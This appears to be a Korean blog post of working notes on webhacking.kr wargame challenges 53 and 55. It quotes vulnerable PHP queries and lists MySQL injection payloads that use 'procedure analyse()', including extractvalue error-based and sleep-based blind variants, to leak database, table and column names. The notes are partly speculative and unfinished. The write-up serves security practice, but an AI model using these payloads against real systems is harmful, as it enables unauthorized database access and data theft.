호그와트

자유자재로 응용하는 익스플로잇

영웅*^%&$ 2022. 11. 10. 16:35
728x90

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

score=1%20limit%200,%201%20procedure%20analyse() webhacking.chall55.id

 

score=1%20limit%201,%202%20procedure%20analyse() webhacking.chall55.score

 

score=1%20limit%202,%201%20procedure%20analyse() webhacking.chall55.p4ssw0rd_1123581321

 

53번을 자세히 보면

 

mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"))로 값을 받는다는 것을

 

알 수 있다 (55번 쿼리와 흡사하다)

 

val=1 procedure analyse();로 하면 숨겨진 테이블이 나오고

 

if($_GET['answer'] == $hidden_table) solve(53);

 

여기 if문에 나온 것처럼 ?answer=에 숨겨진 테이블을 그대로 쳐주면 (webhackin이랑 a만 떼서)

 

원하는 결과값이 나오는 것을 알 수 있다 (문제가 풀린다)

 

가설 1 : insert 를 이용해서 (원하는 id, score, flag) 값을 차례대로 넣는다

 

그 후에 select를 이용해서 특정한 score값을 그대로 쳐서 원하는 값을 뽑아낸다

 

->이거랑 상관없이 테이블명을 알았으므로 leftright를 이용해서

브루트포싱하는 문제였다

 

여기서 기본적인 inputid, score, flag 이 세가지라고 할 수 있다

id로는 기존에 있는 값을 넣어도 변화가 없다는 것을 알 수 있다 (결과값이 딱히 없다) score로 찾아야 된다는 건데(확실치는 않음?) 1123581321이 너무 score 같아서 이 값을 넣었으나 별다른 값을 뱉어내지는 않았다

 

idpw 혹은 flag로도 이리저리 가능한 조합을 모두 넣어보았으나 역시나 별다른 결과값이 나오지 않았다

 

mysql> select id from test where no=1 limit 0,1 procedure analyse(); // 첫째 필드

 

mysql> select id from test where no=1 limit 1,1 procedure analyse(); // 둘째 필드

 

mysql> select id from test where no=1 limit 2,1 procedure analyse(); // 셋째 필드

 

Procedure analyse() 를 사용하여 쿼리 명령 시 DB.테이블명.컬럼명 획득이 가능하다.

 

하지만, procedure analyse()라는 함수는 limit 절 뒤에 사용이 가능하다.

 

, limit 구문을 앞에 추가하여 필드를 차례로 뽑아내는 것이 가능하다는 이야기이다.

 

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

 

여기서, 추가적으로 extravalue() 함수를 사용하여 procedure() 함수 내에서 원하는 값을 뽑아낼 수 있다.

- error base

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community'

- blind

 

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1);

?score = p4ssw0rd_1123581321 -> id : mpaljo112 // 0

 

?score=1123581321 limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

?score=2147483647 limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

 

('panda',%20'2378124',%20'chall55.p4ssw0rd_1123581321'); 2378124

 

insert into chall55 values('panda',%20'2378124',%20'chall55.p4ssw0rd_1123581321');

728x90

'호그와트' 카테고리의 다른 글

웹 기본 2  (0) 2022.11.10
웹 기본 1  (0) 2022.11.10
쿠키와 세션  (0) 2022.11.10
이상한 컴퓨터 과학  (0) 2022.11.10
자바 역직렬화  (0) 2022.11.10